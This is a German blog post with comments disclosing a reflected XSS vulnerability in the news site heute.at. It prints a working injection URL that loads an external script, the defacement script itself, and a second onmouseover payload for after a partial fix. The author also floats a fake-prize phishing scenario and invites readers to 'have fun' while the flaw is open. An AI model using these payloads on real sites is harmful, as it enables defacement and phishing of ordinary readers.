Hacking and Cracking #2: XSS-Lücke bei heute.at

ACHTUNG UPDATE: Siehe weiter unten!
Für die deutschen Kollegen vorweg: „Heute“ ist eine sehr große und kostenlose Tagespresse, die bei vielen vor allem durch die einfache Verfügbarkeit an Bahnhöfen etc. beliebt ist. Qualitätstechnisch könnte man sie über „Krone“ oder „Bild“ allerdings weit unter „derStandard“ oder „Die Presse“ einreihen.

Ja, mir war wieder einmal langweilig und schon bin ich wieder einmal auf eine brisante Sicherheitslücke gestoßen, dieses Mal allerdings auf einem, vor allem in Österreich stark vertretenem, großen Zeitungsportal. Es handelt sich dabei um eine XSS-Lücke, die über die URL injiziert wird. Damit konnte ich mittels eines Aufrufes von http://www.heute.at/news/politik/“><script src=“http://cheesi.cwsurf.de/heute.js“></script><a href=“ nicht nur validen HTML-Code erzeugen sondern auch folgendes Ergebnis „produzieren“ 😀

Bild: Screenshot heute.at

Screenshot heute.at

Und um noch den letzten Satz zu erklären:

PHPFriends ist wohl kein Freund von heute.at - Ist aber auch nicht weiter schlimm :D

PHPFriends ist wohl kein Freund von heute.at – Ist aber auch nicht weiter schlimm 😀

Falls noch jemanden der Quellcode aus heute.js interessiert (der ist aber wirklich nichts Besonderes…):

document.body.innerHTML = '<div style="position:fixed;top:0;left:0;right:0;bottom:0;background:black;z-index:999999999;text-align:center;font-size:30px;color:#fff;">Someone failed here really hard 8)<br /><br />Visit me on <a href="http://devgrid.pfweb.eu/">http://devgrid.pfweb.eu/</a> :)<br />(copy&paste or click&reload it - my provider doesn\'t like heute.at)</div>';

Die Lücke ist nach aktuellem Datum (4.10.13) offen. Warum? Ich hatte mehrmals versucht jemanden von ihnen zu erreichen, sowohl per E-Mail als auch per Facebook (das ist auch der Grund, warum dieser Artikel so „spät“ erscheint). Jedoch ohne Erfolg. Soll sich doch die Internetgemeinde damit spielen 😉

Wie ich heute bemerkt hatte, ist die Lücke mittlerweile geschlossen. Auf ein Dankeschreiben seitens heute.at verzichtet man wohl lieber – dafür ist das Ding auch nur halb geschlossen (ob da ein Praktikant am Werk war? :D). Die Injektion, wie ich sie bisher genutzt hatte, ist zwar nicht mehr möglich, allerdings lassen sich noch immer onclick oder onmouseover Events nachladen. Das stellt jetzt kein mehr so großes Risiko dar, sollte jedoch trotzdem unterbunden werden. Ein für mich durchaus plausibles Szenario wäre z.B. ein onmouseover mit einem alert wie „Herzlichen Glückwunsch! Sie haben die geheime Gewinnspiel Seite von Heute.at gefunden! Sie werden nun weitergeleitet.“. Was ich nun von den Usern haben möchte, sollte eigentlich klar sein 😀 Der Aufruf für die jetzige Injektion würde http://www.heute.at/news/politik/“ onmouseover=“alert(‚Hallo‘)“ title=“ lauten. Da bleibt mir eigentlich nur noch ein herzliches Have fun übrig 😀

So nun allerdings zu dem wichtigsten Teil dieses Artikels: wie kann ich solche XSS-Lücken als Webentwickler vermeiden? – Never trust the user. Es gibt verschiedene PHP-Funktionen (z.B. htmlentitities oder htmlspecialchars) mit denen Benutzereingaben ganz einfach von solchen Gefahren befreit werden.

Comments

  1. Moin, scheint so als wäre die Lücke schon geschlossen worden. Im Quellcode von heute.at steht nun folgendes: http://www.m-i-u.de/images-i70652bl0jye.png

    Scheint also schon escaped zu sein. Die Seite gibt mir auch ne Fehlermeldung aus das die Seite nicht gefunden wurde.

    MFG BlackY =)

    • Nein, nein die ist schon noch offen 😉

      1. wird nicht dort injiziert.
      2. verfälscht da WP immer den Link. Da werden die Anführungszeichen immer durch „Schöne“ ersetzt. Mehrmals ausgebessert und funktioniert trotzdem nicht… wird wohl wirklich Zeit für ein eigenes System 😀

      PS: Hab den Link jetzt nochmals korrigiert 🙂

      • Dann poste ihn einfach mal bei http://nopaste.me/ und verlinke da drauf. Ja, also ich finde das schlecht das WordPress da einfach Zeichen verändert. Aber das ist halt WordPress und ich mag WordPress nicht. 🙂

        • Aktuell funktionierts ja wieder – mal schaun wie lange das hält^^ Aber WordPress wird für mich langsam wirklich zur Plage – schreibe gerade an einen Assemler-Artikel und jaaa ich könnt mich mit WP langsam erschießen (ständige Verschiebung bei einem Batch-Skript und und und…)

          • Ja, jetzt geht der Link. Hab auch die Injezierungsstelle gefunden. 🙂

            #WordPress: Ja, so was ist mir unbegreiflich. Warum wird der Text / Code nicht einfach so dargestellt wie man ihn eingegeben hat…

            MFG BlackY 🙂

          • Tja WP ist halt eher was für nicht Technik Visierte. Es gibt sogar viele Firmen die WP als CMS (!!!) System einsetzten. Für mich eigentlich unbegreiflich, aber gut, wer bin ich um deren Methoden in Frage zu stellen? ;D

      • >> Es gibt sogar viele Firmen die WP als CMS (!!!) System einsetzten. <<

        Naja, damit hab ich kein Problem. Nur wenn man in den Code muss wird es schwierig da durchzublicken. Ich verstehe nicht warum man soo viele lose Funktionen da rumhängen lässt und das nicht einfach mal alles aufräumt. Selbst wenn man nur mal am Design was ändern will muss man ewig lange im CSS-Code (!) suchen.

        Der PHP-Code ist auch grauenhaft. Ich hab mir mal die erste Version von WordPress gezogen und da rein geguckt und selbst da war es schon nicht besonders übersichtlich. Klar, es ist die erste Version. Aber wenn man bedenkt wie wenig Funktionen da noch drin waren…

        Musst mal hier gucken, die Versino 0.71 Gold ist die erste: http://wordpress.org/download/release-archive/

        Aber ich glaube, dass wir hier Offtopic schreiben, mach ich eigentlich nicht so gerne (will ich bei mir auch nicht ^^) aber ich glaube ich verfasse mal nen Beitrag zu meiner Abneigung gegen WordPress. Mal gucken. 🙂

        MFG BlackY 🙂

        • Ja wir schweifen schon wieder sehr ab^^ Wo waren wir? Ah ja XSS: Ich bin schon gespannt, wie ob die das überhaupt jemals mitkriegen werden… Notfalls muss ich halt mal einen Fake-Artikel schreiben und dann dann via FB verbreiten 😀

          • Ich finde das auch nicht normal das da keiner drauf reagiert. Es ist aber auf jeden Fall gut das du es gemeldet hast bevor du die Lücke veröffentlicht hast. Bei ner SQL-Injection hätte ich das jetzt nicht gemacht aber diese da ist ja noch relativ harmlos.

            Aber wenn die sich nicht melden. Tja, dann weiß ich es auch nicht.

            #WordPress: http://blackphantom.de/artikel/warum-ich-wordpress-nicht-mag/ 😀

            MFG BlackY 🙂

          • Ich würde es wahrscheinlich sogar bei einer SQLi veröffentlichen, mit dem einzigen Unterschied, vorher bei denen auch noch anzurufen. Wenn’s dann auch nicht reagiert hätten, ja dann hätte ich ihnen wirklich nur mehr den Hack des Jahrtausends wünschen können. Sorry, aber wer sich derart progressiv weigert eine Lücke zu schließen, dem kann ich auch nicht helfen. Immerhin geht es hier ja nicht nur um die Sicherheit der Website selber, sondern auch um die Sicherheit der User. Es kommt nicht selten vor, dass bei gehackten Webseiten schadhafter JavaScript Code eingeschleust wird und User mit Trojanern und dergleichen infiziert werden. Selbiges gilt wie gesagt auch bei einer XSS-Lücke: JavaScript kann gefährlich sein und da Zeitungen vor allem über Social Media verbreitet werden, könnte man jemanden so eine URL auch relativ leicht unterschieben. Klar eine XSS ist nichts im Vergleich zu einer SQLi, trotzdem (sehr) gefährlich.

            EDIT: Ich hab heute beim Posten der Links auf FB & Twitter auch jeweils noch einmal mit heute.at verlinkt, mehr kann ich jetzt echt nicht mehr tun, bin ja kein kleiner Hund, der Boulevard Zeitungen mit immer wiedermal einschlägigen Artikeln (erst heute gab es wieder einen, der im Social Media für viel Aufregung sorgte) , die sie nicht gerade golden glänzen lässt, hinterher rennt.

          • >> […] könnte man jemanden so eine URL auch relativ leicht unterschieben. <<

            Ja, du hast recht. Social Media habe ich ganz vergessen. Bei Twitter zum Beispiel ist es bestimmt einfach ne tinyurl mit dem manipulierten Link zu verteilen. Noch schlimmer und effektiver (für einen Angreifer) wäre es aber wenn der Code direkt auf der Website wäre (zum Beispiel durch XSS in Kommentaren oder so).

            Bzgl. Veröffentlichung: Ich glaube wenn das bei der BILD-Zeitung passieren würde, würde ich die Lücke direkt mir Freude veröffentlichen. Hehe, weiß gar nicht wie das rechtlich aussieht. Nicht das man da noch einen draufkriegen kann.

            PS: WordPress ist wirklich komisch, ich kann jetzt nicht mal direkt auf deinen letzen Kommentar antworten sondern nur auf dem von um 18:19 Uhr. Also wenn man schon Antworten auf Kommentar zulässt dann auch richtig @WordPress. ^^

            MFG BlackY =)

          • Heute ist ja nicht wirklich weit von der Bild entfernt, und ja das macht Spaß 😀 Wie es da rechtlich aussieht, weiß ich ehrlich gesagt auch nicht. Grundsätzlich ist das Eindringen in fremde Computersystem verboten, da hier allerdings der Teil zum injizieren direkt mitgeschickt wird und das nicht am Server gespeichert wird, sondern der Server nur bei der einen Anfrage das auch wieder zurückschickt, dürfte das eigentlich nicht mehr unter Eindringen fallen. (Also das wäre jetzt meine Sicht)

            Geht mir nicht anders – ich muss immer über den Adminbereich antworten, da funktioniert das^^

Schreibe einen Kommentar

Your email address will not be published / Required fields are marked *